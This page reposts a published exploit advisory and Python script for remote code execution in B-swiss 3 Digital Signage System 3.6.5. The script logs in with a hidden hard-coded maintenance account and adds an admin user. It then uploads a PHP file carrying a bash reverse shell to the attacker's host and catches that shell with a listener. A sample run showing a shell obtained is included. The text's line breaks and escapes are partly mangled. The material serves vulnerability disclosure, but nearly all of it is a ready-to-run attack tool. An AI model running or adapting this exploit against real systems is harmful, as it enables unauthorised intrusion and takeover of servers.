Exploit/Advisories

Published on September 22nd, 2020 📆 | 1728 Views ⚑

0

B-swiss 3 Digital Signage System 3.6.5 Backdoor Remote Code Execution ≈ Packet Storm


TTS
[*]#!/usr/bin/env python3[*]# -*- coding: utf-8 -*-[*]#[*]#[*]# B-swiss 3 Digital Signage System 3.6.5 Backdoor Remote Code Execution[*]#[*]#[*]# Vendor: B-Swiss SARL | b-tween Sarl[*]# Product web page: https://www.b-swiss.com[*]# Affected version: 3.6.5[*]# 3.6.2[*]# 3.6.1[*]# 3.6.0[*]# 3.5.80[*]# 3.5.40[*]# 3.5.20[*]# 3.5.00[*]# 3.2.00[*]# 3.1.00[*]#[*]# Summary: Intelligent digital signage made easy. To go beyond the[*]# possibilities offered, b-swiss allows you to create the communication[*]# solution for your specific needs and your graphic charter. You benefit[*]# from our experience and know-how in the realization of your digital[*]# signage project.[*]#[*]# Desc: The application suffers from an "authenticated" arbitrary[*]# PHP code execution. The vulnerability is caused due to the improper[*]# verification of uploaded files in 'index.php' script thru the 'rec_poza'[*]# POST parameter. This can be exploited to execute arbitrary PHP code[*]# by uploading a malicious PHP script file that will be stored in[*]# '/usr/users' directory. Due to an undocumented and hidden "maintenance"[*]# account 'admin_m' which has the highest privileges in the application,[*]# an attacker can use these hard-coded credentials to authenticate and[*]# use the vulnerable image upload functionality to execute code on the[*]# server.[*]#[*]# ========================================================================================[*]# lqwrm@metalgear:~/prive$ python3 sign2.py 192.168.10.11 192.168.10.22 7777[*]# [*] Checking target...[*]# [*] Good to go![*]# [*] Checking for previous attempts...[*]# [*] All good.[*]# [*] Getting backdoor session...[*]# [*] Got master backdoor cookie: 0c1617103c6f50107d09cb94b3eafeb2[*]# [*] Starting callback listener child thread[*]# [*] Starting handler on port 7777[*]# [*] Adding GUI credentials: test:123456[*]# [*] Executing and deleting stager file[*]# [*] Connection from 192.168.10.11:40080[*]# [*] You got shell![*]# id ; uname -or[*]# uid=33(www-data) gid=33(www-data) groups=33(www-data)[*]# 4.15.0-20-generic GNU/Linux[*]# exit[*]# *** Connection closed by remote host ***[*]# [?] Want me to remove the GUI credentials? y[*]# [*] Removing...[*]# [*] t00t![*]# lqwrm@metalgear:~/prive$ [*]# ========================================================================================[*]#[*]# Tested on: Linux 5.3.0-46-generic x86_64[*]# Linux 4.15.0-20-generic x86_64[*]# Linux 4.9.78-xxxx-std-ipv6-64[*]# Linux 4.7.0-040700-generic x86_64[*]# Linux 4.2.0-27-generic x86_64[*]# Linux 3.19.0-47-generic x86_64[*]# Linux 2.6.32-5-amd64 x86_64[*]# Darwin 17.6.0 root:xnu-4570.61.1~1 x86_64[*]# macOS 10.13.5[*]# Microsoft Windows 7 Business Edition SP1 i586[*]# Apache/2.4.29 (Ubuntu)[*]# Apache/2.4.18 (Ubuntu)[*]# Apache/2.4.7 (Ubuntu)[*]# Apache/2.2.22 (Win64)[*]# Apache/2.4.18 (Ubuntu)[*]# Apache/2.2.16 (Debian)[*]# PHP/7.2.24-0ubuntu0.18.04.6[*]# PHP/5.6.40-26+ubuntu18.04.1+deb.sury.org+1[*]# PHP/5.6.33-1+ubuntu16.04.1+deb.sury.org+1[*]# PHP/5.6.31[*]# PHP/5.6.30-10+deb.sury.org~xenial+2[*]# PHP/5.5.9-1ubuntu4.17[*]# PHP/5.5.9-1ubuntu4.14[*]# PHP/5.3.10[*]# PHP/5.3.13[*]# PHP/5.3.3-7+squeeze16[*]# PHP/5.3.3-7+squeeze17[*]# MySQL/5.5.49[*]# MySQL/5.5.47[*]# MySQL/5.5.40[*]# MySQL/5.5.30[*]# MySQL/5.1.66[*]# MySQL/5.1.49[*]# MySQL/5.0.77[*]# MySQL/5.0.12-dev[*]# MySQL/5.0.11-dev[*]# MySQL/5.0.8-dev[*]# phpMyAdmin/3.5.7[*]# phpMyAdmin/3.4.10.1deb1[*]# phpMyAdmin/3.4.7[*]# phpMyAdmin/3.3.7deb7[*]# WampServer 3.2.0[*]# Acore Framework 2.0[*]#[*]#[*]# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic[*]# Macedonian Information Security Research and Development Laboratory[*]# Zero Science Lab - https://www.zeroscience.mk - @zeroscience[*]#[*]#[*]# Advisory ID: ZSL-2020-5590[*]# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5590.php[*]#[*]#[*]# 13.06.2020[*]#

from http.cookiejar import DefaultCookiePolicy# #yciloPeikooCtluafeD tropmi rajeikooc.ptth mofr[*]from http.cookiejar import CookieJar# oOo #raJeikooC tropmi rajeikooc.ptth mofr[*]from six.moves import input# #-----------------+-----------------# #tupni trompi sevom.xis morf[*]from time import sleep# | 01 | 04 | #peels trompi emit morf[*]import urllib.request# | | | | #tseuqer.billru tropmi[*]import urllib.parse# | | | | #esrap.billru tropmi[*]import telnetlib# | | | #biltenlet tropmi[*]import threading# | | | | #gnidaerht tropmi[*]import requests# | | | | #stseuqer tropmi[*]import socket# | | o | #tekcos tropmi[*]import sys,re# | | | #er,sys tropmi[*]############## #-----------------+-----------------# ##############[*]############### oOo ###############[*]################ | ################[*]#################### Y ####################[*]############################ _ ############################[*]###############################################################################################

class Sign:

def __init__(self):[*]self.username = b"x61x64x6dx69x6ex5fx6d"[*]self.altruser = b"x62x2dx73x77x69x73x73"[*]self.password = b"x44x50x36x25x57x33x64"[*]self.agent = "SignageBot/1.02"[*]self.fileid = "251"[*]self.payload = None[*]self.answer = False[*]self.params = None[*]self.rhost = None[*]self.lhost = None[*]self.lport = None[*]self.send = None

def env(self):[*]if len(sys.argv) != 4:[*]self.usage()[*]else:[*]self.rhost = sys.argv[1][*]self.lhost = sys.argv[2][*]self.lport = int(sys.argv[3])[*]if not "http" in self.rhost:[*]self.rhost = "http://{}".format(self.rhost)

def usage(self):[*]self.roger()[*]print("Usage: python3 {} ".format(sys.argv[0]))[*]print("Example: python3 {} 192.168.10.11:80 192.168.10.22 7777n".format(sys.argv[0]))[*]exit(0)

def roger(self):[*]waddup = """[*]____________________[*]/ \[*]! B-swiss 3 ![*]! RCE ![*]____________________/[*]! ![*]! ![*]L_ ![*]/ _)![*]/ /__L[*]____________/ (____)[*](____)[*]____________ (____)[*]_(____)[*]! ![*]! ![*]__/ [*]"""[*]print(waddup)

def test(self):[*]print("[*] Checking target...")[*]try:[*]r = requests.get(self.rhost)[*]response = r.text[*]if not "B-swiss" in response:[*]print("[!] Not a b-swiss system")[*]exit(0)[*]if "B-swiss" in response:[*]print("[*] Good to go!")[*]next[*]else:[*]exit(-251)[*]except Exception as e:[*]print("[!] Ney ney: {msg}".format(msg=e))[*]exit(-1)

def login(self):[*]token = ""[*]cj = CookieJar()[*]self.params = {"locator" : "visitor.ProcessLogin",[*]"username" : self.username,[*]"password" : self.password,[*]"x" : "0",[*]"y" : "0"}

damato = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))[*]damato.addheaders.pop()[*]damato.addheaders.append(("User-Agent", self.agent))

try:[*]print("[*] Getting backdoor session...")[*]damato.open(self.rhost + "/index.php", urllib.parse.urlencode(self.params).encode('utf-8'))[*]for cookie in cj:[*]token = cookie.value[*]print("[*] Got master backdoor cookie: "+token)[*]except urllib.request.URLError as e:[*]print("[!] Connection error: {}".format(e.reason))

return token

def upload(self):[*]j = "rn"[*]self.cookies = {"PNU_RAD_LIB" : self.rtoken}[*]self.headers = {"Cache-Control" : "max-age=0",[*]"Content-Type" : "multipart/form-data; boundary=----j",[*]"User-Agent" : self.agent,[*]"Accept-Encoding" : "gzip, deflate",[*]"Accept-Language" : "en-US,en;q=0.9",[*]"Connection" : "close"}

self.payload = "< ?php exec("/bin/bash -c 'bash -i > /dev/tcp/"+self.lhost+"/"+str(self.lport)+" < &1;rm "+self.fileid+".php'");"





print("[*] Adding GUI credentials: test:123456")[*]# rec_adminlevel values:[*]# ----------------------[*]# 100000 - "b-swiss Maintenance Admin" (Undocumented privilege)[*]# 7 - "B-swiss admin" < ---------------------------------------------------------------------------------------+[*]# 8 - Other |[*]# |[*]self.send = "------j{}Content-Disposition: form-data; ".format(j)# |[*]self.send += "name="locator"{}Users.Save{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# |[*]self.send += "name="page"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |[*]self.send += "name="sort"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |[*]self.send += "name="id"{}{}{}------jrnContent-Disposition: form-data; ".format(j*2,self.fileid,j,j)# |[*]self.send += "name="ischildgrid"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |[*]self.send += "name="inpopup"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |[*]self.send += "name="ongridpage"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |[*]self.send += "name="rowid"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |[*]self.send += "name="preview_screenid"{}------j{}Content-Disposition: form-data; ".format(j*3,j)# |[*]self.send += "name="rec_firstname"{}TestF{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# |[*]self.send += "name="rec_lastname"{}TestL{}------j{}Content-Disposition: form-data; ".format(j*2,j,2)# |[*]self.send += "name="rec_email"{}test@test.cc{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# |[*]self.send += "name="rec_username"{}test{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# |[*]self.send += "name="rec_password"{}123456{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# |[*]self.send += "name="rec_cpassword"{}123456{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# |[*]self.send += "name="rec_adminlevel"{}7{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)# <----------+[*]self.send += "name="rec_status"{}1{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)[*]self.send += "name="rec_poza"; filename="Blank.jpg.php"{}Content-Type: application/octet-stream{}".format(j,j*2)[*]self.send += self.payload+"{}------j{}Content-Disposition: form-data; ".format(j,j)[*]self.send += "name="rec_poza_face"{}C:\fakepath\Blank.jpg{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)[*]self.send += "name="rec_language"{}french-sw{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)[*]self.send += "name="rec_languages[]"{}2{}------j{}Content-Disposition: form-data; ".format(j*2,j,j)[*]self.send += "name="rec_can_change_password"{}1{}------j--{}".format(j*2,j,j)

requests.post(self.rhost+"/index.php", headers=self.headers, cookies=self.cookies, data=self.send)[*]print("[*] Executing and deleting stager file")[*]r = requests.get(self.rhost+"/usr/users/"+self.fileid+".php")[*]sleep(1)

self.answer = input("[?] Want me to remove the GUI credentials? ").strip()[*]if self.answer[0] == "y" or self.answer[0] == "Y":[*]print("[*] Removing...")[*]requests.get(self.rhost+"/index.php?locator=Users.Delete&id="+self.fileid, headers=self.headers, cookies=self.cookies)[*]if self.answer[0] == "n" or self.answer[0] == "N":[*]print("[*] Cool!")[*]print("[*] t00t!")[*]exit(-1)

def razmisluju(self):[*]print("[*] Starting callback listener child thread")[*]konac = threading.Thread(name="ZSL", target=self.phone)[*]konac.start()[*]sleep(1)[*]self.upload()

def fish(self):[*]r = requests.get(self.rhost+"/usr/users/", verify=False, allow_redirects=False)[*]response = r.text[*]print("[*] Checking for previous attempts...")[*]if not ".php" in response:[*]print("[*] All good.")[*]elif "251.php" in response:[*]print("[!] Stager file "{}.php" still present on the server".format(self.fileid))

def phone(self):[*]telnetus = telnetlib.Telnet()[*]print("[*] Starting handler on port {}".format(self.lport))[*]s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)[*]s.bind(("0.0.0.0", self.lport))[*]while True:[*]try:[*]s.settimeout(7)[*]s.listen(1)[*]conn, addr = s.accept()[*]print("[*] Connection from {}:{}".format(addr[0], addr[1]))[*]telnetus.sock = conn[*]except socket.timeout as p:[*]print("[!] No outgoing calls 🙁 ({msg})".format(msg=p))[*]print("[+] Check your port mappings or increase timeout")[*]s.close()[*]exit(0)[*]break

print("[*] You got shell!")[*]telnetus.interact()[*]conn.close()

def main(self):[*]self.env()[*]self.test()[*]self.fish()[*]self.rtoken = self.login()[*]self.razmisluju()

if __name__ == '__main__':[*]Sign().main()[*]

Source link

Tagged with:



Comments are closed.